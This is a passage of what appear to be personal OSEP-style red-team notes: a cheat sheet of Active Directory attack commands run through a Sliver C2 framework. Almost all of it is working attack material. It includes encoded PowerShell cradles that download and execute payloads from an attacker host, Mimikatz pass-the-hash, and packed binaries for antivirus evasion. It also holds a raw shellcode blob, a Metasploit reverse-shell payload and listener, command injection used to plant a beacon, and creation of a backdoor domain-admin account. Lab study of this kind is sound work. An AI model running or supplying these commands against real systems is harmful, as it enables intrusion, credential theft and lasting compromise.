nxc smb 10.10.100.15 -d domain.com -u user -H ffffffffffffffffffffffffffffffff --exec-method smbexec -x 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='


# Local admin
nxc smb 10.10.100.15 -d . -u user -p password --exec-method atexec -x 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='



# atexec always works
nxc smb 10.10.100.15 -d domain.com -u user -H ffffffffffffffffffffffffffffffff --exec-method atexec -x 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='


# DB Spray
mssqlclient-ng 10.10.100.15 -d domain.com -u user -p password -windows-auth
mssqlclient-ng 10.10.100.15 -u Administrator -H ':ffffffffffffffffffffffffffffffff'
mssqlclient-ng 10.10.100.15 -d domain.com -u 'machineaccount$' -H ':ffffffffffffffffffffffffffffffff' -windows-auth
```

### Token Creation & Stealing

#### PassTheHash PTH

```powershell
# PTH as a local user on a machine
mimikatz '"privilege::debug" "sekurlsa::pth /user:Administrator /domain:. /ntlm:ffffffffffffffffffffffffffffffff" "exit"'
mimikatz '"privilege::debug" "sekurlsa::pth /user:Administrator /domain:MACHINE01 /ntlm:ffffffffffffffffffffffffffffffff" "exit"'


# PTH as a domain user
mimikatz '"privilege::debug" "sekurlsa::pth /user:user /domain:domain.com /ntlm:ffffffffffffffffffffffffffffffff" "exit"'


# migrate into the pid
migrate -p 3316


# List C$
ls //machine/c$


# Lateral movement
psexec -d Title -s Description -p osep-lateral machine
```

**Mimikatz - PWSH port**

```powershell
# Mimikatz for this - preferably use cyberchef for base64 encoding - Fails because of powershell issues
sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:ffffffffffffffffffffffffffffffff
IEX((new-object net.webclient).downloadstring('http://10.10.10.11/powershell-scripts/Invoke-Mimikatz.ps1'))


# Anything with spaces, requires `` for quotes escaping
Invoke-Mimikatz -Command "privilege::debug token::elevate `"sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:ffffffffffffffffffffffffffffffff`" exit"


# Above base64 encoded command
sharpsh -i -t 40 -- -u 'http://10.10.10.11/powershell-scripts/Invoke-Mimikatz.ps1' -e -c SW52b2tlLU1pbWlrYXR6IC1Db21tYW5kICJwcml2aWxlZ2U6OmRlYnVnIHRva2VuOjplbGV2YXRlIGAic2VrdXJsc2E6OnB0aCAvdXNlcjpBZG1pbmlzdHJhdG9yIC9kb21haW46ZG9tYWluLmNvbSAvbnRsbTpmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmAiIGV4aXQi


# We can use PEzor to create mimikatz for PTH as well
PEzor -unhook -antidebug -fluctuate=NA -format=dotnet -sleep=5 /home/kali/tools/bins/exes/mimikatz.exe -z 2 -p '"privilege::debug" "sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:ffffffffffffffffffffffffffffffff" "exit"'
execute-assembly -i /home/kali/tools/bins/exes/mimikatz.exe.packed.dotnet.exe


# Execute shellcode within the mimi created process
execute-shellcode -p 4428 /home/kali/OSEP/hav0c/sliver.x64.bin
```

**Mimikatz - PEZor**

```powershell
# Sliver also has its own mimikatz implementation, we can use that - It works with DLL injection
mimikatz '"privilege::debug" "sekurlsa::pth /user:username /domain:domain.com /ntlm:ffffffffffffffffffffffffffffffff" "exit"'


# We can use mimikatz and then migrate or just find a process running as that user and inject into it
PEzor -unhook -antidebug -fluctuate=NA -format=dotnet -sleep=5 /home/kali/tools/bins/exes/mimikatz.exe -z 2 -p '"privilege::debug" "sekurlsa::pth /user:username /domain:domain.com /ntlm:ffffffffffffffffffffffffffffffff" "exit"'
execute-assembly /home/kali/tools/bins/exes/mimikatz.exe.packed.dotnet.exe


# Migrate into the process
migrate -p 4712
```

**SharpNamedPipePTH**

```powershell
# Runs the cmd.exe
execute-assembly /home/kali/tools/bins/csharp-files/SharpNamedPipePTH.exe username:domain\\user hash:ffffffffffffffffffffffffffffffff binary:C:\\windows\\system32\\cmd.exe


# Find out process launched
ps -e cmd.exe


# Migrate into the process
migrate -p 1234


# OR Directly get shell
execute-assembly /home/kali/tools/bins/csharp-files/SharpNamedPipePTH.exe 'username:domain\\user hash:ffffffffffffffffffffffffffffffff binary:"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" arguments:"-nop -w 1 -sta -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEAOQAwAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=="'
```

#### make-token

```powershell
# For local user
make-token -d . -u Administrator -p 'password'


# For domain user
make-token -d domain.com -u userooo2 -p 'User123123@'
```

#### netexec

Not really related to token stealing/creation but a good option to get shell when sliver is acting up.

```powershell
nxc smb 10.10.100.20 -d . -u Administrator -p 'password' --exec-method atexec -x 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='


# WMI
nxc wmi 10.10.100.20 --local-auth -u Administrator -p 'password' --rpc-timeout 10


# impacket
impacket-wmiexec ./Administrator:'password'@10.10.100.20
```

#### runas

**Injection**

```powershell
# Do a runas to get another shell as the local administrator
runas -d . -u Administrator -P 'password' -n -p C:\\windows\\SysWOW64\\notepad.exe
runas -d . -u Administrator -P 'password' -n -p C:\\Windows\\System32\\cmd.exe


# As another user
runas -d . -u userooo -P 'Password123@' -n -p C:\\Windows\\System32\\cmd.exe


# Runas a domain user
runas -d domain.com -u user -P 'Password123!' -n -p C:\\windows\\SysWOW64\\notepad.exe
runas -d domain.com -u user -P 'Password123!' -n -p C:\\Windows\\System32\\cmd.exe


# Find process
ps -e notepad


# Migrate into the process
migrate -p 11216


# Use the new session
use c4578a6f


# List the C$ 
ls //machine02.domain.com/c$
```

**Direct Shell**

Sometimes the local user won't work, if that's the case and you have the local admin's password, just run nxc or secretsdump to dump all hashes and psexec/atexec as the user.

```powershell
# Domain User
runas -d domain.com -u user -P password -n -p "C:\Windows\System32\cmd.exe" -a "/c powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=="


# Local Admin
runas -d . -u Administrator -P 'password'-n -p "C:\Windows\System32\cmd.exe" -a "/c powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=="


# Local User
runas -d . -u userooo -P 'Password123@' -n -p "C:\Windows\System32\cmd.exe" -a "/c powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=="
```

#### Rubeus createnetonly

```powershell
# Create process with the user credentials
rubeus -t 20 -- createnetonly /program:C:\\Windows\\System32\\cmd.exe /domain:domain.com /username:user /password:password123


# Migrate to the process or exec-shellcode, whichever works
migrate -p 2560
```

#### $cred in pwsh

Fancy replacement to runas

```powershell
# Get into shell
shell


# Run the following
$pass = ConvertTo-SecureString 'NewP@ssword123!' -AsPlainText -Force`
$Cred = New-Object System.Management.Automation.PSCredential("domain\user", $pass)


# Start the process
Start-Process powershell.exe -Credential $Cred -ArgumentList "-exec bypass -C `"IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.11/payload.txt')`""
```

#### Steal Token

To steal token of some other user based on a running, either use `migrate` or `execute-shellcode` for that PID. Try and use `migrate` first and if it fails use the `execute-shellcode` as a fallback.

**migrate**

```powershell
migrate -p 4792
```

**execute-shellcode**

```powershell
execute-shellcode -S -r -I 30 -p 5096 /home/kali/OSEP/hav0c/sliver.x64.bin
```

**SharpImpersonation**

> This will find processes as the specified user and run shellcode within the first found process

When lots of processes as different users are running, wmi is fastest to enumerate

```powershell
# List processes to impersonate // elevated
execute-assembly /home/kali/tools/bins/csharp-files/SharpImpersonation.exe list
execute-assembly /home/kali/tools/bins/csharp-files/SharpImpersonation.exe list wmi
execute-assembly /home/kali/tools/bins/csharp-files/SharpImpersonation.exe list elevated


# Execute command as user
execute-assembly /home/kali/tools/bins/csharp-files/SharpImpersonation.exe user:domain\\user binary:"powershell ls"


# Load base64 encoded shellcode
base64 -w0 /home/kali/OSEP/hav0c/sliver.x64.bin
execute-assembly -i /home/kali/tools/bins/csharp-files/SharpImpersonation.exe user:domain\\user shellcode:/EiD5PDozAAAAEFRQVBSUUgx0mVIi1JgVkiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJIi1IgQVGLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ESLQCBJAdCLSBhQ41ZNMclI/8lBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFbwKgtvkFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZu+AdKgpBidr/1Q==


# Host shellcode on the web server
sudo cp /home/kali/OSEP/hav0c/sliver.x64.bin /var/www/html
sudo chmod 777 /home/kali/OSEP/hav0c/sliver.x64.bin


# Load shellcode from the URL - works the best
execute-assembly /home/kali/tools/bins/csharp-files/SharpImpersonation.exe user:domain\\user shellcode:http://10.10.10.11/sliver.x64.bin
execute-assembly /home/kali/tools/bins/csharp-files/SharpImpersonation.exe user:domain\\user shellcode:http://10.10.10.11/sliver.x86.bin


# On custom PID 
execute-assembly /home/kali/tools/bins/csharp-files/SharpImpersonation.exe pid:644 shellcode:http://10.10.10.11/sliver.x86.bin
```

**Msfconsole**

> Just in case sliver fails lol

```powershell
# Metasploit - x64 shellcode
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f raw -o /home/kali/OSEP/hav0c/metasploit.x64.bin


# Listener - msfconsole
sudo msfconsole -q -x 'use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set lhost tun0;set lport 443; set exitfunc thread; set EnableStageEncoding true; set exitonsession false; run -j'


# Execute metasploit.x64.bin to get within msf
execute-shellcode -S -r -I 30 /home/kali/OSEP/hav0c/metasploit.x64.bin


# Within msf
load incognito


# List users
list_tokens -u


# Impersonate
impersonate_token domain\\user


# Get shell as the impersonated user
shell
powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA==


# Sliver
# We get the shell back as domain\user and can continue to enumerate
```

### Tunneling

#### Portfwd

Access port 3389 of the host 10.10.100.30 through our local ip:33890

```powershell
portfwd add -b 127.0.0.1:33890 -r 10.10.100.30:3389
```

#### Reverse Port Forwarding

Forwarding connections from remote port **7999** to local port **7999**

```powershell
sliver (CURIOUS_TRIANGLE) > rportfwd add -b 0.0.0.0:7999 -r 0.0.0.0:7999

[*] Reverse port forwarding 0.0.0.0:7999 <- 0.0.0.0:7999
```

#### Socks5 Proxy

Select the session within sliver and then run the following - later configure `/etc/proxychains.conf` accordingly

```powershell
socks5 start
```

Verify `/etc/proxychains4.conf`

```powershell
[ProxyList]
socks5  127.0.0.1   1081
```

Use proxychains4

```powershell
sudo proxychains4 -q netexec smb 172.16.103.152
```

#### Ligolo

> Make sure defender is disabled or ligolo might get removed

**Subnet Access**

```powershell
# Upload the agent
upload /home/kali/tools/ligolo-ng/agent.exe c:/windows/tasks/agent.exe
ls c:/windows/tasks/agent.exe

# Start the ligolo proxy on kali
sudo /home/kali/tools/ligolo-ng/proxy -selfcert -laddr 10.10.10.11:4444

# Delete the interfaces if already exist (in case ip ranges change on next connection)
interface_delete --name osep-challenge
interface_delete --name osep-challenge-vault

# After starting, create a interface and assign route
interface_create --name osep-challenge
interface_route_add --name osep-challenge --route 10.10.100.0/24

# Add another one
interface_create --name osep-challenge-vault
interface_route_add --name osep-challenge-vault --route 10.10.200.25/32

# Connect from the victim machine back to attacker machine with interactive shell
shell
C:\Windows\tasks\agent.exe -connect 10.10.10.11:21 -ignore-cert -retry


# Or run directly, will have to Ctrl + C and launch sliver again, don't worry though the process will keep running!
execute -t 1000 -o C:\\Windows\\tasks\\agent.exe -connect 10.10.10.11:4444 -ignore-cert -retry

# If you use it without -o it won't wait for console output and no need to ctrl + c
execute C:\\Windows\\tasks\\agent.exe -connect 10.10.10.11:4444 -ignore-cert -retry

# Select the session
session

# Start the tunnel 
tunnel_start --tun osep-challenge
tunnel_start --tun osep-challenge-vault
```

**Port Forwarding through Ligolo**

In this scenario the machine machine05 can't access our machine kali but can access jump01 and we have compromised jump01

* machine05 -> jump01:8000 -> kali:80 to download sliver implant from our apache2 server
* machine05 -> jump01:8088 -> kali:8088 - for sliver beaconing

```powershell
# Create listener (from jump01:8000 -> kali:80)
listener_add --addr 10.10.250.10:8000 --to 0.0.0.0:80


# We'll use the IP of Jump01 - 10.10.250.10
curl -k --negotiate -u : 'http://machine05.domain.com/Internal/GetCPULoad' -X POST -d 'machine05 -Class Win32_Processor);powershell.exe curl http://10.10.250.10:8000/;#'


# Generate sliver beacon - IP of jump01
generate beacon --http 10.10.250.10:8088 --name sliver.obfuscated --os windows --seconds 5 --jitter 0 --evasion


# Get the sliver beacon
sudo cp /home/kali/OSEP/challenges/ch7/sliver.obfuscated.exe /var/www/html
sudo chmod 777 /var/www/html/sliver.obfuscated.exe


# Get shell access
curl -k --negotiate -u : 'http://machine05.domain.com/Internal/GetCPULoad' -X POST -d 'machine05 -Class Win32_Processor);powershell.exe curl http://10.10.250.10:8000/sliver.obfuscated.exe -O C:\Windows\temp\sliver.obfuscated2.exe ;#'
curl -k --negotiate -u : 'http://machine05.domain.com/Internal/GetCPULoad' -X POST -d 'machine05 -Class Win32_Processor);powershell.exe ls C:\Windows\temp\sliver.obfuscated2.exe ;#'


# Create another listener (from jump01:8090 -> sliver:8088)
listener_add --addr 10.10.250.10:8088 --to 10.10.10.11:8088


# Run the .exe
curl -k --negotiate -u : 'http://machine05.domain.com/Internal/GetCPULoad' -X POST -d 'machine05 -Class Win32_Processor);cmd.exe /c C:\Windows\temp\sliver.obfuscated2.exe ;#'
```

### Lateral Movement

#### BOF - whoami

A BOF (Beacon Object File) that runs `whoami /all` in a more safe way because running it from a shell can trigger an alert in EDRs.

```bash
sa-whoami 


[*] Successfully executed sa-whoami
[*] Got output:

UserName        SID
====================== ====================================
...


GROUP INFORMATION                                 Type                     SID                                          Attributes               
================================================= ===================== ============================================= ==================================================
Everyone                                          Well-known group         S-1-1-0                                       Mandatory group, Enabled by default, Enabled group,  
...      
```

#### PsExec

```powershell
# Use psexec to move laterally after creating/stealing token
psexec -d Title -s Description -p osep-lateral machine02.domain.com
psexec -d Title -s Description -p osep-lateral DC06


# Use the new session
use a4a458c1
```

#### jump-psexec

```powershell
jump-psexec dc04 AgentSvc /home/kali/OSEP/hav0c/sliver.x64.exe //dc04/c$/file2.exe
```

#### jump-wmiexec

```powershell
jump-wmiexec client09 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAwAC4AMQAxAC8AaABhAHYAMABjAC0AcABzAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA=='
```

#### SharpRDP

> SharpRDP does not work and hangs after authentication - leaving notes here for future testing

```powershell
upload /home/kali/tools/bins/csharp-files/SharpRDP.exe c:/windows/temp/sharprdp.exe
cd c:/windows/temp/


# Works but hangs
c:/windows/temp/sharprdp.exe computername=10.10.100.30 command=calc username=domain\user password="User123123@"


# To be tested
c:/windows/temp/sharprdp.exe computername=machine06.domain.com command="powershell ls"
c:/windows/temp/sharprdp.exe computername=dc02.domain.com command="powershell ls"
c:/windows/temp/sharprdp.exe username=domain\user password="User123123@" computername=10.10.200.15 command="powershell ls"
c:/windows/temp/sharprdp.exe username=domain\user password="User123123@" computername=10.10.100.30 command="powershell ls"
c:/windows/temp/sharprdp.exe username=domain\user password="User123123@" computername=10.10.200.15 command="powershell ls"
c:/windows/temp/sharprdp.exe username=domain\user password="User123123@" computername=dc04 command="notepad"
c:/windows/temp/sharprdp.exe computername=dc04 command=calc username=domain\user password="User123123@"


# Within sliver
sharprdp -- computername=10.10.200.15 password=password username=Administrator command=C:\\Windows\\Temp\\sliver2.beacon.exe
```

### Domain Enumeration

```powershell
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainComputer"'
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainComputer machine03.domain.com"'


# Base64 encode and run
Get-DomainComputer | select dnshostname
sharpsh -i -t 20 -- -u 'http://10.10.10.11/powershell-scripts/PowerView.ps1' -e -c R2V0LURvbWFpbkNvbXB1dGVyIHwgc2VsZWN0IGRuc2hvc3RuYW1l
```

#### Laps

```powershell
# SharpLaps with C# support - Without target specified, we get creds for all machines fetched from DC
sharplaps /host:DC06
sharplaps /host:DC06 /target:machine04
sharplaps /host:DC06 /target:client


# If you have rights to read passwords, you can use powerview's get-computer for getting the secrets as well
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainComputer machine04.domain.com"'
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainComputer machine02.domain.com"'


# SharpView can be used as well
sharpview -- 'Get-DomainComputer -Identity machine03.domain.com -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime'
sharpview -- 'Get-DomainComputer -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime'
```

#### SharpHound

> Using legacy sharphound/bloodhound is recommended for OSEP challenges/exam as the latest one can't fetch all edges - Do run both specially in exam

```powershell
# Go within the world writable directory for ease
cd C:/Windows/tasks


# Run with all checks and grab details of any trusts between forests
execute-assembly -t 200 -- /home/kali/tools/bins/csharp-files/SharpHound-v2.5.13.exe -C all --searchforest


# Specify a different forest/domain with which we have trust
execute-assembly -t 200 -- /home/kali/tools/bins/csharp-files/SharpHound-v2.5.13.exe -d domain.com -C all --searchforest


# Run old version of Sharphound if the latest one does not get many edges - Use GPOLocalGroup as All would not use it
execute-assembly -t 200 -- /home/kali/tools/bins/csharp-files/SharpHound-v1.1.1.exe -C all --searchforest
execute-assembly -t 200 -- /home/kali/tools/bins/csharp-files/SharpHound-v1.1.1.exe -C All,GPOLocalGroup --searchforest


# PowerShell Legacy - https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/refs/heads/master/Collectors/SharpHound.ps1
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/SharpHound.ps1 -c "Invoke-BloodHound -CollectionMethod All,GPOLocalGroup"'
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/SharpHound.ps1 -c "Invoke-BloodHound -CollectionMethod All,GPOLocalGroup -SearchForest"'
```

**Linux**

```powershell
# CE
bloodhound-ce-python -k -no-pass -c All -ns 10.10.100.15 -d domain.com -u machine05\$ --zip


# Legacy
bloodhound-python -k -no-pass -c All -ns 10.10.100.15 -d domain.com -u user --zip
```

#### PingCastle

Download the free version from PingCastle's site - Its in C# so we can run this easily using exec-assem

```powershell
# Go within the world writable directory for ease
cd C:/Windows/tasks


# Run the pingcastle tool
execute-assembly -t 200 /home/kali/tools/bins/PingCastle_3.3.0.1/PingCastle.exe --healthcheck --explore-trust --explore-forest-trust --level Full --no-enum-limit --skip-null-session


# Against a domain
execute-assembly -t 200 /home/kali/tools/bins/PingCastle_3.3.0.1/PingCastle.exe --server mydomain.com --healthcheck --explore-trust --explore-forest-trust --level Full --no-enum-limit --skip-null-session


# Generate logs for PingCastle - on disk
execute-assembly -t 200 /home/kali/tools/bins/PingCastle_3.3.0.1/PingCastle.exe --server mydomain.com --log --healthcheck --explore-trust --explore-forest-trust --level Full --no-enum-limit --skip-null-session
```

#### ADPeas

The light version does not contain bloodhound within, suggested to use that.

```powershell
sharpsh -t 200 -- '-u http://10.10.10.11/powershell-scripts/adPEAS.ps1 -c "Invoke-adPEAS"'
sharpsh -t 200 -- '-u http://10.10.10.11/powershell-scripts/adPEAS-Light.ps1 -c "Invoke-adPEAS"'


# Load when in a shell
IEX((new-object net.webclient).downloadstring('http://10.10.10.11/powershell-scripts/adPEAS-Light.ps1'))
IEX((new-object net.webclient).downloadstring('http://10.10.10.11/powershell-scripts/adPEAS.ps1'))


# Run
Invoke-adPEAS
```

#### Trusts

**PowerView**

```powershell
# Get the domain/forest trusts
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainTrust"'
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainTrust -NET"'
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainTrust -API"'
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainTrust -Domain dev.domain.com"'
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainTrust -Domain hr.domain.com"'
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainTrust -Domain domain.com"'


# Get domain trusts mapping (between each other)
sharpsh -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainTrustMapping"'


# Get foreign members from part of current domain from another forest (run for all forests with which we have trust)
sharpsh -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainForeignGroupMember -Domain dev.domain.com"'
sharpsh -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainForeignGroupMember -Domain hr.domain.com"'
sharpsh -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainForeignGroupMember -Domain domain.com"'


# Check which users/groups are part of localgroups on machines based on GPO policies
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainGPOUserLocalGroupMapping"'


# Get forest groups accessible to our forest with SID >= 1000 - For SID filtering (base64 encode on cyberchef)
Get-DomainGroup -LDAPFilter "(objectSID>=S-1-5-21-201072640-2662162558-1369012345-1000)" -Domain domain.com | select cn,memberof,objectSID
sharpsh -i -t 20 -- -u http://10.10.10.11/powershell-scripts/PowerView.ps1 -e -c R2V0LURvbWFpbkdyb3VwIC1MREFQRmlsdGVyICIob2JqZWN0U0lEPj1TLTEtNS0yMS0yMDEwNzI2NDAtMjY2MjE2MjU1OC0xMzY5MDEyMzQ1LTEwMDApIiAtRG9tYWluIGRvbWFpbi5jb20gfCBzZWxlY3QgY24sbWVtYmVyb2Ysb2JqZWN0U0lE
```

**ADSearch**

```powershell
# List down all users - we get the trust user as well -> CORP1$
execute-assembly /home/kali/tools/bins/csharp-files/ADSearch.exe --search "(objectCategory=user)"


# List down the trusts, its way and the trusting/trusted domain
execute-assembly /home/kali/tools/bins/csharp-files/ADSearch.exe --search "(objectCategory=trustedDomain)" --domain domain.com --attributes distinguishedName,name,flatName,trustDirection
```

#### Shares Enumeration

**SharpShares**

> Takes a lot of time, if lots of share - Better to run within `shell`

```powershell
execute-assembly -t 200 /home/kali/tools/bins/csharp-files/SharpShares.exe /ldap:all
```

**Snaffler**

Goes through all the network shares and their files to find out any credentials or sensitive information. Really useful for actual gigs. Better to run within `shell`

```powershell
execute-assembly -t 200 /home/kali/tools/bins/csharp-files/Snaffler.exe -s
```

### Domain Exploitation

#### Persistence

> Run as NT\Auth or Local/Domain Admin on the DC

Creates a new domain user and adds it into DA and EA groups

```powershell
execute -o net user userooo2 "User123123@" /add /Y /domain
execute -o net localgroup administrators userooo2 /add /Y /domain
execute -o net group "domain admins" userooo2 /add /domain
execute -o net group "enterprise admins" userooo2 /add /domain
execute -o net user userooo2 /domain
```

#### Kerberoasting

```powershell
# Within current domain
rubeus -- kerberoast /simple /nowrap


# For a specific domain we have trust with
rubeus -- kerberoast /simple /domain:domain.com /nowrap
```

Crack the hashes

```powershell
hashcat -m 13100 -a 0 kerb.hashes /usr/share/wordlists/rockyou.txt -w 3 -O
```

#### ACLs Abuse

**ForcePasswordChange on User**

```powershell
# Use Powerview, we'll base64 encode the below - Password for nina will be Password123!
Set-DomainUserPassword -Identity user -AccountPassword $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
sharpsh -t 20 -- -u http://10.10.10.11/powershell-scripts/PowerView.ps1 -e -c U2V0LURvbWFpblVzZXJQYXNzd29yZCAtSWRlbnRpdHkgdXNlciAtQWNjb3VudFBhc3N3b3JkICQoQ29udmVydFRvLVNlY3VyZVN0cmluZyAnUGFzc3dvcmQxMjMhJyAtQXNQbGFpblRleHQgLUZvcmNlKQ==


# Check if shaun's password has been changed
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainUser -Identity user | select pwdlastset"'
```

**GenericWrite on User**

Three things can be done:

* Add SPN and Kerberoast
* Change login script (check login frequency of the user)
* Shadow Credentials

Set SPN and perform kerberoasting

```powershell
# Check all properties of user
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainUser user | select lastlogon"'


# Set SPN to pwned/service on user
Set-DomainObject -Identity user -SET @{serviceprincipalname='pwned/service'}
sharpsh -t 20 -- -u http://10.10.10.11/powershell-scripts/PowerView.ps1 -e -c U2V0LURvbWFpbk9iamVjdCAtSWRlbnRpdHkgdXNlciAtU0VUIEB7c2VydmljZXByaW5jaXBhbG5hbWU9J3B3bmVkL3NlcnZpY2UnfQ==


# Get hash for the user based on set SPN
sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainSPNTicket -SPN pwned/service -OutputFormat Hashcat | fl"'


# Try and crack hashes using hashcat
